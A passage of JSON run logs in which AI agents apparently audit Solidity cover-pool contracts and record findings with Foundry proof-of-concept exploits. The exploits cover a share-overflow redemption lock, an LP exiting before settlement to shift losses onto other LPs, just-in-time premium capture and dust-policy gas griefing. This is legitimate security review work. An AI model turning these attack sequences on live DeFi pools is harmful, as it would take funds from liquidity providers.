1), 1);\n        assertEq(pool.totalAssets(), 0);\n        assertEq(pool.totalShares() + pool.VIRTUAL_SHARES(), uint256(1) << 196);\n\n        address victim = makeAddr(\"innocent LP\");\n        token.transfer(victim, 1 ether);\n        vm.startPrank(victim);\n        token.approve(address(pool), 1 ether);\n        uint256 victimShares = pool.deposit(1 ether, 1);\n        vm.stopPrank();\n\n        // S + virtual = (A + 1) * 2**196. Top up A to 2**60 - 1.\n        // totalShares itself still fits: it becomes 2**256 - 1_000_000.\n        // A fixed implementation may reject this adversarial deposit; either way,\n        // the innocent LP must retain access to their fully liquid capital.\n        uint256 topUp = (uint256(1) << 60) - 1 - 1 ether;\n        (bool deposited,) = address(pool).call(abi.encodeCall(pool.deposit, (topUp, 1)));\n        if (deposited) assertEq(pool.totalAssets(), (uint256(1) << 60) - 1);\n        assertEq(pool.reserved(), 0);\n        assertGe(token.balanceOf(address(pool)), 1 ether);\n        vm.prank(victim);\n        assertEq(pool.redeem(victimShares, 1 ether), 1 ether);\n    }\n\n    function _sharesForAssets(uint256 assets) private view returns (uint256) {\n        uint256 low;\n        uint256 high = pool.sharesOf(address(this));\n        while (low < high) {\n            uint256 mid = low + (high - low) / 2;\n            if (pool.previewRedeem(mid) < assets) low = mid + 1;\n            else high = mid;\n        }\n        return low;\n    }\n}","reproduction":"Extract proof to test/scratch/ShareDenominatorProof.t.sol and run forge test --match-path test/scratch/ShareDenominatorProof.t.sol -vvv. Set Sepolia chain ID; an administrator deploys/binds the five applications and configures N=6, T=5000, baseBps=1000, slopeBps=0, then gives an ordinary LP/buyer 1100e18 tokens. Three times: deposit 1000e18, buy 1000e18 cover for 100e18, redeem exactly the free 100e18 premium, certify the six empty rounds and settle the 1000e18 payout. The actor recovers all 1100e18 each time while shares remain. Deposit one atom and redeem one atom while burning down to totalShares=2**196-1_000_000. A different LP deposits 1e18. The attacker deposits 152921504606846975 atoms; it succeeds, leaving totalAssets=1152921504606846975, reserved=0 and totalShares=2**256-1_000_000. Expected: the other LP can redeem its shares for 1e18 (or the hostile deposit must be rejected). Actual: redeem panics with arithmetic overflow 0x11 in previewRedeem. This exact standalone proof was run and failed at the victim redemption.","severity":"high","title":"A reachable share-supply overflow permanently blocks LP redemptions"},{"description":"When covered payouts exhaust accounted assets, old LP shares survive. Recapitalizing then mints assets*(totalShares+1_000_000) shares because the denominator is one. Three ordinary 1000-SQI loss/recapitalization cycles grow the surviving supply to approximately 7.5e68 shares. A subsequent deposit of just 1 SQI requires more than uint256 shares and reverts in Math.mulDiv despite the caller having sufficient tokens and allowance and no outstanding reservations. Only microscopic deposits remain representable; direct donations cannot repair the exchange rate because they are excluded from accounted assets. This violates the documented ability to recapitalize after complete losses. It is distinct from overflowing totalShares plus its virtual offset: here no new deposit succeeds or corrupts state, and adding a virtual-share headroom check alone does not restore ordinary deposits. An epoch/reset or other bounded share-accounting treatment for complete losses is needed without granting old insolvent shares a claim on later depositors' capital.","line":93,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\ncontract CertifiedEmptyHistory is ISqueekCore {\n    uint64 public constant GENESIS = 1_700_000_000;\n    uint64 public frontier;\n\n    function certify(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external pure returns (CoreConfiguration memory c) {\n        c.genesisTimestamp = GENESIS;\n        c.roundDuration = 600;\n        c.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory s) {\n        s.settledThroughRound = frontier;\n        s.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64 afterRound, uint64 throughRound, uint256)\n        external\n        view\n        returns (RoundPage memory p)\n    {\n        require(afterRound < throughRound && throughRound <= frontier);\n        p.certifiedThroughRound = throughRound;\n        p.start.workPerThousandBlocks = 10_875;\n        p.end.workPerThousandBlocks = 10_875;\n        p.rounds = new RoundCheckpoint[](0);\n    }\n}\n\ncontract RepeatedLossProofTest is Test {\n    CertifiedEmptyHistory core;\n    MockSQK token;\n    PremiumModel model;\n    CoverPool pool;\n    CoreReader reader;\n    PolicyBook book;\n\n    function test_recapitalizationRemainsPossibleAfterThreeCoveredLosses() public {\n        vm.chainId(11_155_111);\n        core = new CertifiedEmptyHistory();\n        vm.warp(core.GENESIS());\n        address administrator = makeAddr(\"administrator\");\n        token = new MockSQK(administrator);\n        model = new PremiumModel(administrator);\n        pool = new CoverPool(administrator, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(administrator, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(administrator);\n        pool.setPolicyBook(address(book));\n        // A supported, constant 10% premium. The same user is LP and buyer.\n        model.setRate(6, 5000, 1000, 0);\n        token.transfer(address(this), 1100 ether);\n        vm.stopPrank();\n        // From here, the test is an ordinary LP/buyer with no administrative role.\n        token.approve(address(pool), type(uint256).max);\n        token.approve(address(book), type(uint256).max);\n        uint256 originalBalance = token.balanceOf(address(this));\n        for (uint64 cycle; cycle < 3; ++cycle) {\n            pool.deposit(1000 ether, 1);\n            (, uint64 current,) = reader.snapshot();\n            uint64 start = current + 1;\n            uint256 id = book.openPolicy(start, 6, 5000, 1000 ether, 100 ether, block.timestamp);\n            // Redeem exactly the free premium before the certified full payout.\n            uint256 shares = _sharesForAssets(100 ether);\n            assertEq(pool.redeem(shares, 100 ether), 100 ether);\n            uint64 end = start + 5;\n            core.certify(end);\n            vm.warp(uint256(core.GENESIS()) + uint256(end) * 600);\n            assertEq(book.settle(id), 1000 ether);\n            assertEq(pool.totalAssets(), 0);\n            assertEq(pool.reserved(), 0);\n            assertEq(token.balanceOf(address(this)), originalBalance);\n        }\n        // Expected: a funded user can recapitalize an empty pool, just as after the first loss.\n        // Actual: arithmetic overflow in Math.mulDiv; the outstanding worthless shares grew each cycle.\n        uint256 newShares = pool.deposit(1 ether, 1);\n        assertGt(newShares, 0);\n        assertEq(pool.totalAssets(), 1 ether);\n    }\n\n    function _sharesForAssets(uint256 assets) private view returns (uint256) {\n        uint256 low;\n        uint256 high = pool.sharesOf(address(this));\n        while (low < high) {\n            uint256 mid = low + (high - low) / 2;\n            if (pool.previewRedeem(mid) < assets) low = mid + 1;\n            else high = mid;\n        }\n        return low;\n    }\n}","reproduction":"Extract proof to test/scratch/RepeatedLossProof.t.sol and run forge test --match-path test/scratch/RepeatedLossProof.t.sol -vvv. On Sepolia with standard MockSQK and a separate administrator, configure a 10% flat premium for N=6/T=5000. An ordinary user is both LP and buyer. Repeat three times: deposit 1000e18, open fully reserved cover C=1000e18 for premium=100e18, redeem the exact free premium, certify six empty rounds, settle C. Verify each cycle leaves pool.totalAssets()==0, pool.reserved()==0 and the user has its original 1100e18 token balance. Expected: pool.deposit(1e18,1) succeeds and reopens usable liquidity. Actual: it reverts with arithmetic overflow 0x11 inside previewDeposit/Math.mulDiv. The standalone proof was executed against the unchanged implementation and failed at that deposit.","severity":"medium","title":"Repeated complete losses make ordinary recapitalization overflow"}],"hash":"4a1372cbbe22f61584817c6de599065b3dc44eeb0bbcf6bda9f7e4258b643169","nodeId":"b71083fc-956f-45f5-80d9-9d0cfe1c8671","outcome":"completed","summary":"Added failure-path tests, arithmetic fuzzing, and stateful invariants. `forge build` and seeded `forge test` pass: **92 tests**.\n\nReported two defects with reproduced failing proofs in `.imd-findings.json`:\n\n- **High:** share overflow permanently blocks LP redemptions.\n- **Medium:** repeated complete losses prevent ordinary recapitalization.\n\nProduction contracts and configuration remain unchanged.","treeHash":"4042cac835c65b671e6fc1dc65c45156a110f1a8","usage":{"cachedInputTokens":3012736,"inputTokens":95941,"model":"gpt-6-astra","outputTokens":39051,"runtime":"codex","turns":9,"wallClockMs":1102998}},{"artifacts":[],"attempt":1,"bundleHash":"a9db1bea83f3d19e25661ee35eb711a1f13c34dbaa434c3d582c0612c467ab4f","device":"6f30d6341cbff249","findings":[],"hash":"777ebaf669e891e32cf307120334f85ae1f835b05732e2287c7ecd8d7e8f911a","nodeId":"9fb13720-b5b2-4a47-b60a-9c037b60d44c","outcome":"completed","summary":"I made one change to `launch.json`: I updated a sentence in the notes. The contract list and constructor arguments stay as they were, because they still match the current source.\n\n**Constructor check:** I compared each constructor in the current `src/` against the manifest:\n- `MockSQK` takes `$owner`.\n- `PremiumModel` takes `$owner`.\n- `CoverPool` takes `$owner` and `$contract:MockSQK`.\n- `CoreReader` takes the SqueekCore address `0x74665dAecA35A2303e767E76a2FF1FB6F93e119f`.\n- `PolicyBook` takes `$owner`, `$contract:MockSQK`, `$contract:PremiumModel`, `$contract:CoverPool` and `$contract:CoreReader`.\n\nEach constructor has as many entries as it has parameters, in order. References only point to contracts listed earlier, and every owner argument is `$owner`.\n\n**Notes change:** After my last manifest, another contributor's update changed `PolicyBook` in two ways the notes didn't describe:\n- A policy can now start at most `MAX_LEAD_ROUNDS` (1008 rounds) after the current round.\n- Anyone can settle a policy as soon as the certified rounds decide the outcome, not only once the frontier reaches the end round. That end round is now just the latest point at which it can be settled.\n\nI added both and stated that unknown rounds never count as zero-work.\n\n**Checks:**\n- The file has exactly `kind`, `contracts` and `notes`, and the notes are 1,741 characters (the limit is 4,000).\n- `forge build` succeeds.\n- `forge test` with the given fuzz seed passed 83 of 83 tests. I left out the two pinned protected tests because they need settings that only the verifier supplies.\n- `git status` shows only `launch.json` changed.","treeHash":"005d35ec5ca5cb756a99c6e1d1a44579e628f747","usage":{"cachedInputTokens":161199,"inputTokens":12,"model":"claude-opus-5-5","outputTokens":2961,"runtime":"claude","turns":7,"wallClockMs":46567}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"9ab27edcfd62be02","findings":[{"citation":"resolved","description":"Unchanged from the previous round and still reproducible: lockCover credits the whole premium to NAV at the sale (src/CoverPool.sol:186) and redeem() lets a depositor leave in the same block while free assets remain, so capital present only around the sale captures a pro-rata share of the premium and, because PremiumModel.quote prices utilization against pool.totalAssets(), lowers the surcharge the buyer pays. The author disputes a fix because every mitigation (pending premiums, accrual over the window, a deposit-to-redeem delay) conflicts with held proofs Proof_d1319029246b and Proof_28263dc012a5, which redeem the premium in the sale block and deposit-then-redeem in one transaction; that is correct as those proofs are written, although those same-block steps were setup convenience rather than the point of either proof and could be relaxed if the requester wants a hold period. Exposure is bounded by one sale's premium, never touches reserved cover, and is stated in THREATS.md ('Premium recognition and transient capital') with slopeBps = 0 named as the firm-price mitigation. Merges the economics specialist's finding 7daba0289f94 and the JIT variant in the flow specialist's finding 1e64e0f35e7b. Remains low: an economic tradeoff for the requester to accept or re-scope, not a blocking defect. The flow of the newly added settlement gate does not touch this path (nothing is pending at the sale).","line":186,"path":"src/CoverPool.sol","reproduction":"Fixture: Sepolia chain id, rate(6,5000)=500/1000 bps, lp deposited 1000e18, current round 101, frontier 100. book.quote(102,6,5000,500e18) == 50e18. bob deposits 9000e18 (pool.deposit(9000e18,1)). alice's openPolicy(102,6,5000,500e18,50e18,deadline) executes: utilization 500/10000, rate 550 bps, premium 27.5e18. bob calls pool.redeem(sharesOf(bob),1) in the same block and receives 9024749999999999999999. Expected: a depositor present only for the sale block cannot leave with more than deposited and the buyer's price is not depressed by capital that leaves immediately. Actual: bob gains 24.75e18 risk-free; lp's shares are worth 1002.75e18 instead of 1050e18 while carrying the whole 500e18 reservation. Run on this tree: copy .imd/reads/proofs/Proof_7daba0289f94.t.sol to test/scratch/ and `forge test --match-path test/scratch/Proof_7daba0289f94.t.sol` fails with 'same-block exit must not profit from the premium: 9024749999999999999999 > 9000000000000000000000'.","severity":"low","snippet":"        _assets += premium;","title":"Immediate premium recognition plus same-block redemption lets a sandwiching depositor take most of a sale's premium and depress the buyer's price (carried forward; disputed design limitation, document"},{"citation":"resolved","description":"openPolicy accepts cover = 1 atom (the premium rounds up to 1 atom), and with the decide-round gate every open policy whose decide round is certified blocks all deposits and redemptions until it is settled or reviewed, one history read per policy. Two additional cost observations on this revision: (1) PolicyBook._firstOpenDecidingAt (src/PolicyBook.sol:303-310) walks _policyIdsByDecide[earliest] from index 0 past every already-settled id until it finds an open one, so an actor who opens many dust policies with the same terms and settles all but the last makes every settlementPending() call (hence every deposit/redeem) pay about 4.9k gas per settled entry ahead of the open one; measured 1,468,344 gas with 299 settled entries ahead of one open policy, so roughly 6,000 such entries would push LP operations past a 30M block until the trailing open policy is settled by id (settle() itself does not scan). (2) openPolicyIdsDecidingAt scans the same array. The cure is bounded and permissionless (settle the open ids, after which the set drops that decide round and the array is never scanned again), value is never at risk, and the attacker pays about 550k gas per open versus one settle per policy for the defender, so this stays a liveness nuisance rather than a loss. The author documented it in THREATS.md ('Dust policies and gate liveness') and declined a minimum cover because the quote surface is pinned by held proofs; that is the requester's call. Possible mitigations that preserve the design: a minimum premium or cover in quote(), batch settle of several ids, or swap-remove of settled ids from _policyIdsByDecide. Merges the independent tester's earlier report of the same behaviour.","line":180,"path":"src/CoverPool.sol","reproduction":"Fixture test/helpers/CoverFixture (lp 1000e18, rates 500/1000 bps, current round 101). bob approves 300 atoms and opens 300 policies openPolicy(102,6,5000,cover=1,maxPremium=1,deadline); each quote returns 1. Certify through 104 (decide round for N=6, T=50% is 102+3-1=104): book.settlementPending() == true and lp's pool.redeem(sharesOf(lp)/10,1) reverts SettlementPending. Settle ids 1..299: settlementPending() still true, measured at 1,468,344 gas for the view alone, and the redeem still reverts SettlementPending. After settle(300) the gate reads false and the same redeem succeeds. Expected: dust cannot impose per-policy settlement work and a growing scan on LPs. Scratch test test/scratch/JudgeRound3.t.sol::test_dustPoliciesGateAndScanCost passes by asserting this behaviour and logs the gas.","severity":"low","snippet":"        if (cover == 0 || premium == 0) revert InvalidAmount();","title":"No minimum cover: one-atom policies each close the LP gate until individually settled, and settled entries ahead of an open one at the same decide round are rescanned by settlementPending on every LP "},{"citation":"resolved","description":"The brief says 'Anyone settle when frontier>=end'. settle() and review() now also settle a policy before the frontier reaches endRound, as soon as the certified prefix fixes the outcome (CoverTerms.outcome: certified zero-work rounds already at or above ceil(N*T/10000) pays C; certified active rounds making the threshold unreachable expires). This is the design-preserving option (a) from my previous finding 6a9ff5e40652 and the author adopted it; the decision is sound (no later certified round can change it; EarlyDecisionProperties.t.sol fuzzes that every early decision equals the outcome of the best and worst completion of the window; unknown rounds still never count as zero-work), and the whole-window rule still holds as the latest settlement point. But holders are paid and reservations released up to N-1 rounds earlier than the brief's wording, and README/THREATS/LAUNCH.md now document that as intended. Reported by the independent tester (e0d9f87b4f07); reproduced. Not a defect: the requester should confirm they accept the rule change, or ask for option (b) (keep settlement at window end and accept the early-exit limitation explicitly).","line":256,"path":"src/PolicyBook.sol","reproduction":"Fixture CoverFixture. alice opens openPolicy(102,6,3000,100e18,...) with no recorded work; required zero rounds = ceil(6*0.3) = 2. Certify through 103 (frontier 103 < endRound 107). Expected under the brief's literal rule: settle(1) reverts until frontier >= 107. Actual: settle(1) returns 100e18 and pays alice at frontier 103; getPolicy(1).status == Paid, zeroRounds == 2. Covered by the project's test_gateClosesAsSoonAsCertifiedHistoryFixesThePayout and testFuzz_openingDecideRoundIsTheFirstRoundThatCouldPay.","severity":"info","snippet":"        if (!decided) revert Undecided(policyId, zeros, certified);","title":"Settlement before frontier >= endRound departs from the brief's literal settlement rule; this is the reviewer-recommended option (a) and needs the requester's confirmation"}],"hash":"9a2bacaae7d01dd12d512b7b883f9065001d8acaa3b62d1d66c73937b7db97f7","nodeId":"30e336ce-a87c-4e57-bfd1-d40083546476","outcome":"completed","summary":"The review is written to `.imd-findings.json` with 3 findings and 28 coverage rows, all snippets verified against the tree.\n\n**Prior findings, all settled as fixed.** Each attached proof passes on this tree:\n\n- **Residual atom after repeated total losses** is fixed. Deposits now retire the exhausted share supply whenever accounted assets are at or below the dust bound and carry the dust forward.\n- **Gate freeze on a history outage** is fixed. The gate now probes one pending policy's certified history and fails open when that read reverts.\n- **Exit at the pre-loss price once certified history decides the outcome** is fixed with option (a). Policies carry a decide round, the gate keys on the earliest one, settlement happens as soon as the certified prefix fixes the result, and review() moves undecided policies forward. I traced the invariant that every decided-covered open policy sits at or below the frontier, so the gate always holds for it.\n\n**Specialist findings dropped as fixed or unsubstantiated.** The far-future start lock is closed by the new lead cap, and the batch-limit configuration pin now only requires a positive limit. The dependency checksum mismatch is resolved and documented. The frontier-equals-current-round rejection could not be reproduced against the known core. The surcharge path dependence is a documented pricing choice.\n\n**What remains, none blocking:**\n\n1. **Low.** Same-block deposit and redeem around a sale still captures most of that sale's premium. Disputed by the author, documented, bounded by one premium.\n2. **Low.** One-atom policies each close the gate until settled. I added a measurement: settled ids ahead of an open one at the same decide round cost about 4.9k gas each on every LP call, so a few thousand would push deposits past a block until the trailing policy is settled by id.\n3. **Info.** Early settlement departs from the brief's literal \"settle when frontier ≥ end\" wording. The decision logic is sound, but the requester should confirm the rule change.\n\nThe full project suite passes with 127 tests. The scratch files I wrote live under test/scratch/ and are not kept.","treeHash":null,"usage":{"cachedInputTokens":920078,"inputTokens":322,"model":"claude-fable-5-1","outputTokens":24981,"runtime":"claude","turns":23,"wallClockMs":463132}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"06d00e98fbdd1ee9","findings":[{"citation":"resolved","description":"redeem() prices shares on current _assets and only caps the withdrawal at freeAssets(). Nothing in the share price reflects open reservations, and settle() is a separate permissionless transaction that anyone can delay or front-run. Between the moment the core certifies a window (the payout is then deterministic from public history) and the moment settle(policyId) is mined, any LP can redeem at the pre-loss price. The reservation still pays the buyer in full, so the entire loss lands on whoever stays. The same pricing gap works in the other direction: an LP can front-run openPolicy with a large deposit, receive most of the premium (which lockCover credits to _assets instantly), and redeem immediately, leaving the original LPs with the reserved cover and almost no premium. THREATS.md acknowledges that share prices do not discount unresolved claims, but the consequence is a concrete, unprivileged loss transfer between LPs, not just a pricing imprecision. Minimal fix that keeps the design: when a policy's window is certified, settle before pricing (e.g. redeem/deposit call a permissionless settle for policies whose endRound <= frontier), or lock shares minted/held while policies are open until those policies settle, or vest premiums over the policy window instead of crediting them at open.","line":121,"path":"src/CoverPool.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {MockSQK} from \"src/MockSQK.sol\";\nimport {PremiumModel} from \"src/PremiumModel.sol\";\nimport {CoverPool} from \"src/CoverPool.sol\";\nimport {CoreReader} from \"src/CoreReader.sol\";\nimport {PolicyBook} from \"src/PolicyBook.sol\";\nimport {ISqueekCore} from \"src/interfaces/ISqueekCore.sol\";\n\n/// @dev Minimal V3 core: no active records at all, so every certified round is zero-work.\ncontract EmptyCore is ISqueekCore {\n    uint64 public genesis;\n    uint64 public frontier;\n\n    constructor(uint64 genesis_) {\n        genesis = genesis_;\n    }\n\n    function setFrontier(uint64 value) external {\n        frontier = value;\n    }\n\n    function implementationCodeVersion() external pure returns (uint64) {\n        return 3;\n    }\n\n    function configuration() external view returns (CoreConfiguration memory result) {\n        result.genesisTimestamp = genesis;\n        result.roundDuration = 600;\n        result.maxRoundsPerBatch = 16;\n    }\n\n    function state() external view returns (CoreState memory result) {\n        result.settledThroughRound = frontier;\n        result.workPerThousandBlocks = 10_875;\n    }\n\n    function roundPage(uint64, uint64 throughRound, uint256) external pure returns (RoundPage memory result) {\n        result.certifiedThroughRound = throughRound;\n        result.start.workPerThousandBlocks = 10_875;\n        result.end.workPerThousandBlocks = 10_875;\n        result.rounds = new RoundCheckpoint[](0);\n    }\n}\n\ncontract LpExitBeforeSettleTest is Test {\n    uint64 internal constant GENESIS = 1_700_000_000;\n    uint64 internal constant START = 102;\n    address internal owner = makeAddr(\"owner\");\n    address internal lpA = makeAddr(\"lpA\");\n    address internal lpB = makeAddr(\"lpB\");\n    address internal buyer = makeAddr(\"buyer\");\n    MockSQK internal token;\n    PremiumModel internal model;\n    CoverPool internal pool;\n    CoreReader internal reader;\n    PolicyBook internal book;\n    EmptyCore internal core;\n\n    function setUp() public {\n        vm.chainId(11_155_111);\n        vm.warp(GENESIS + 100 * 600);\n        core = new EmptyCore(GENESIS);\n        core.setFrontier(100);\n        token = new MockSQK(owner);\n        model = new PremiumModel(owner);\n        pool = new CoverPool(owner, address(token));\n        reader = new CoreReader(address(core));\n        book = new PolicyBook(owner, address(token), address(model), address(pool), address(reader));\n        vm.startPrank(owner);\n        pool.setPolicyBook(address(book));\n        model.setRate(6, 5000, 500, 1000);\n        token.transfer(lpA, 1000 ether);\n        token.transfer(lpB, 1000 ether);\n        token.transfer(buyer, 1000 ether);\n        vm.stopPrank();\n        _deposit(lpA, 1000 ether);\n        _deposit(lpB, 1000 ether);\n    }\n\n    /// Two equal LPs back one fully reserved policy. Once the window is certified (payout is\n    /// certain) but before anyone calls settle, LP A redeems all shares at the pre-loss price.\n    /// LP B then absorbs the entire 1000-token loss and LP A leaves with a profit.\n    function test_lpCanExitAtPreLossPriceOnceLossIsCertain() public {\n        (uint256 premium,) = book.quote(START, 6, 5000, 1000 ether);\n        vm.startPrank(buyer);\n        token.approve(address(book), premium);\n        uint256 id = book.openPolicy(START, 6, 5000, 1000 ether, premium, block.timestamp);\n        vm.stopPrank();\n        assertEq(pool.reserved(), 1000 ether);\n\n        // Window fully certified with zero work everywhere: settle(id) is guaranteed to pay 1000.\n        core.setFrontier(START + 5);\n        vm.warp(uint256(GENESIS) + uint256(START + 5) * 600);\n\n        // LP A front-runs settlement and withdraws everything free capital allows.\n        uint256 sharesA = pool.sharesOf(lpA);\n        uint256 outA = pool.previewRedeem(sharesA);\n        assertLe(outA, pool.freeAssets());\n        vm.prank(lpA);\n        pool.redeem(sharesA, outA);\n\n        // Settlement pays the buyer in full, entirely out of what remains (LP B's capital).\n        assertEq(book.settle(id), 1000 ether);\n        uint256 outB = pool.previewRedeem(pool.sharesOf(lpB));\n\n        // Expected: both LPs share the 1000 loss equally (each ends near 500 + premium/2).\n        // Actual on this code: LP A leaves with 1000 + premium/2, LP B is left with ~premium/2.\n        assertLe(outA, 1000 ether + premium / 2 - 400 ether, \"LP A escaped the loss entirely\");\n        assertGe(outB, 400 ether, \"LP B bore the whole loss\");\n    }\n\n    function _deposit(address lp, uint256 amount) private {\n        vm.startPrank(lp);\n        token.approve(address(pool), amount);\n        pool.deposit(amount, 1);\n        vm.stopPrank();\n    }\n}","reproduction":"Setup: rates 6/5000 = base 500 bps, slope 1000 bps. lpA deposits 1000e18, lpB deposits 1000e18 (equal shares). buyer opens 6-round 50% cover C=1000e18 at START=102; premium = 100e18 (rate 1000 bps), reserved=1000e18, totalAssets=2100e18, freeAssets=1100e18. Core certifies rounds 102..107 with no active records (payout is certain). Before anyone calls settle(1): lpA calls redeem(sharesOf(lpA), previewRedeem(...)) -> receives 1049999999999999999999 (1000 + premium/2), passes the freeAssets check (1100e18). Then settle(1) pays 1000e18 to buyer from the remaining 1050e18. lpB's shares are now worth ~50e18. Expected: both LPs end near 550e18 each (equal share of the loss). Actual: lpA +50e18 profit, lpB -950e18. JIT variant: pool holds 1000e18 from lpB; attacker front-runs a buyer's openPolicy(cover 500e18) with deposit(9000e18): premium becomes ceil(500e18 * (500 + ceil(500*1000/10000)) / 10000) = 27.5e18 (below the buyer's maxPremium of 50e18 quoted on the 1000e18 pool), attacker holds 90% of shares, redeems 9000e18 + 24.75e18 immediately (freeAssets = 10027.5e18 - 500e18 = 9527.5e18 allows it); lpB keeps 2.75e18 of premium while bearing the full 500e18 reservation. Proof test: test/scratch/LpExitBeforeSettle.t.sol fails on this code with 'LP A escaped the loss entirely: 1049999999999999999999 > 650000000000000000000'.","severity":"medium","snippet":"        if (assets > freeAssets()) revert InsufficientFreeAssets();","title":"LP can redeem at the pre-loss share price after a payout is certain but before settle(), shifting the whole loss to remaining LPs (and JIT-capture premiums)"},{"citation":"resolved","description":"countZeroRounds() calls snapshot(), which reverts InvalidConfiguration unless the live core's roundDuration is exactly 600 and maxRoundsPerBatch is exactly 16. Settlement only needs settledThroughRound and roundPage(); the reader already pins maxRecords=16 itself and the live core enforces its own bound (roundPage with maxRecords=100 reverts InvalidRoundPageBounds; 16 is accepted independently of the config field). If SqueekCore governance raises maxRoundsPerBatch (or retunes roundDuration) while history stays readable, every settle() reverts forever, reservations are never released, and LPs cannot redeem the reserved portion of their capital. There is no owner or user path to recover. THREATS.md lists 'bad configuration' as a fail-closed case, but this check fails closed on a parameter the settlement path does not depend on. Minimal fix: in countZeroRounds() read only state() and roundPage(); keep the roundDuration/genesis checks for the quote path where currentRound is computed, and drop the maxRoundsPerBatch equality (or only require it >= PAGE_SIZE).","line":36,"path":"src/CoreReader.sol","reproduction":"Open policy id=1 (6 rounds, start 102) and certify the core through 107 so settlement is otherwise valid. Mock configuration() to return the same struct with maxRoundsPerBatch = 32 (roundPage(101,107,16) still returns certifiedThroughRound 107). Call book.settle(1): expected a payout decision from certified history; actual revert CoreReader.InvalidConfiguration, pool.reserved() stays 100e18 and remains so on every retry. Scratch test test/scratch/ConfigBrick.t.sol demonstrates this (passes by asserting the revert).","severity":"low","snippet":"        if (\n            config.genesisTimestamp == 0 || config.roundDuration != ROUND_DURATION\n                || config.maxRoundsPerBatch != PAGE_SIZE\n        ) revert InvalidConfiguration();","title":"settle() is coupled to configuration().maxRoundsPerBatch and roundDuration although settlement never uses them; a benign upstream config change permanently locks every open reservation"},{"citation":"resolved","description":"Recomputing sha256 over every path listed in dependency-checksums.json gives mismatches for lib/openzeppelin-contracts/contracts/token/ERC20/utils/SafeERC20.sol, utils/Address.sol, utils/math/Math.sol, interfaces/IERC1363.sol and 19 forge-std files. A diff against upstream v5.1.0 shows whitespace-only reflow (forge fmt line wrapping), so the library logic the contracts rely on (SafeERC20.forceApprove, Math.mulDiv with Ceil rounding, ReentrancyGuard, Ownable2Step) is unchanged and this has no security impact. However a reviewer or the deployer who verifies provenance with the shipped checksum file gets a failing check, and the 'unmodified' claim is false as written. Either re-vendor the pristine files (and exclude lib/ from forge fmt) or regenerate the digests and say the files were reformatted.","line":10,"path":"DEPENDENCIES.md","reproduction":"From the repository root run: python3 -c \"import json,hashlib;d=json.load(open('dependency-checksums.json'));print(sum(hashlib.sha256(open(p,'rb').read()).hexdigest()!=h for p,h in d['files'].items()))\" -> prints 23 (expected 0). diff of lib/openzeppelin-contracts/contracts/utils/math/Math.sol against the upstream v5.1.0 file shows only line-wrapping changes around mulDiv(x,y,denominator,rounding).","severity":"info","snippet":"The source archives came from [OpenZeppelin's v5.1.0 release](https://github.com/OpenZeppelin/openzeppelin-contracts/tree/v5.1.0) and [forge-std v1.9.7](https://github.com/foundry-rs/forge-std/tree/v1.9.7). Vendored Solidity files are unmodified. Archive SHA-256 values and individual file digests are recorded in `dependency-checksums.json`.","title":"DEPENDENCIES.md states vendored files are unmodified and digest-recorded, but 23 of the 50 recorded sha256 digests do not match the tree (files were reformatted)"},{"citation":"resolved","description":"Not a code defect; measured dependency evidence for the launch decision. On 2026-11-01 at Sepolia block 12039660 (timestamp 1793519952) SqueekCore 0x74665dAecA35A2303e767E76a2FF1FB6F93e119f reports settledThroughRound 1973, version 3, genesis 1791847800, roundDuration 600, maxRoundsPerBatch 16; the reader's currentRound is therefore 2787. The frontier was also 1973 at block 12032460 (about one day earlier) and in the pinned snapshot at block 12039574, i.e. no certification for at least 24 hours and round 1973 ended ~5.6 days ago. The code behaves as designed (openPolicy forces startRound >= 2788 and settle reverts UnknownRounds until the frontier reaches endRound), but every reservation taken on launch day is locked until the upstream reporter resumes. Also verified: a 21-page scan of the full live history (afterRound 0..1973, maxRecords 16) returned no short page that stops before its requested end, truncated pages certify exactly one round before the next record (roundPage(1829,1973,5) -> certifiedThroughRound 1869, next record 1870), and out-of-range requests revert InvalidRoundPageBounds, so CoreReader's page validation matches the live contract.","line":45,"path":"THREATS.md","reproduction":"cast call 0x74665dAecA35A2303e767E76a2FF1FB6F93e119f 'state()((uint64,uint64,uint96,uint64,uint96,uint32,uint256,bool))' --rpc-url https://ethereum-sepolia-rpc.publicnode.com -> (1973, ...); same call with --block 12032460 -> (1973, ...). cast block latest --field timestamp -> 1793519952, so (1793519952-1791847800)/600+1 = 2787. Expected for a healthy dependency: frontier within a few rounds of 2786; actual: 1973.","severity":"info","snippet":"The public Core snapshot captured for this project had frontier 1973 with a later current round. It is evidence that wall-clock time and certification must be treated separately, not an uptime guarantee. Users and LPs should inspect live frontier progress before participating.","title":"Live Sepolia core frontier is stalled ~814 rounds behind the wall clock; any policy opened now cannot settle until the core certifies at least 815 more rounds"}],"hash":"9d3a26623d2340354dfd7cde13b0e8c827e35b8ace4635cd23a178ca161776b7","nodeId":"2ad6de84-54be-424a-815c-ebda75b884ad","outcome":"completed","summary":"The review is complete. All four snippets match the tree, the findings file is valid JSON, and the only files I created are `.imd-findings.json` and two scratch tests under `test/scratch/`.\n\n**Outcome.** The control flow of this cover system is sound in its core paths: opening, reservation, settlement, pause scope, ownership, and the sparse-page reader all trace correctly, and I verified the reader's page assumptions against the live Sepolia core rather than only the mock. I reported one medium defect, one low, and two informational notes.\n\n**Findings written to `.imd-findings.json`:**\n\n1. **Medium: LPs can exit at the pre-loss share price once a payout is certain.** Settlement is a separate permissionless transaction and share pricing ignores open reservations. With two equal LPs backing a fully reserved policy whose window is already certified as zero-work, one LP redeems and leaves with 1050 tokens while the other is left with about 50 after the buyer is paid. The same gap lets a front-runner deposit before a purchase, capture most of the premium, and redeem 